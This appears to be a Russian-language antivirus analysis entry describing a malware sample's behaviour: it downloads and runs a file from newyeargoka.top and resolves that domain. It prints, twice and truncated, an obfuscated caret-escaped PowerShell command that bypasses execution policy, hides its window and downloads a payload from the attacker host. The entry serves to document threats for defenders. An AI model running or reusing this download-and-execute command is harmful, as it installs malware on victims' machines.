Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWE^r^SH^el^l.EXe^ -^ex^ecU^TI^OnpoLICY^ B^Y^pa^Ss ^-n^oP^Rof^I^L^E^ -wIn^do^WStYLe HIDDEN^ (New-^O^bj^ecT sY^St^E^M^.nET.^WE^bc^l^i^en^t).D^O^Wnl^oadFilE^('http://newyeargo...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWE^r^SH^el^l.EXe^ -^ex^ecU^TI^OnpoLICY^ B^Y^pa^Ss ^-n^oP^Rof^I^L^E^ -wIn^do^WStYLe HIDDEN^ (New-^O^bj^ecT sY^St^E^M^.nET.^WE^bc^l^i^en^t).D^O^Wnl^oadFilE^('http://newyeargo...' (со скрытым окном)
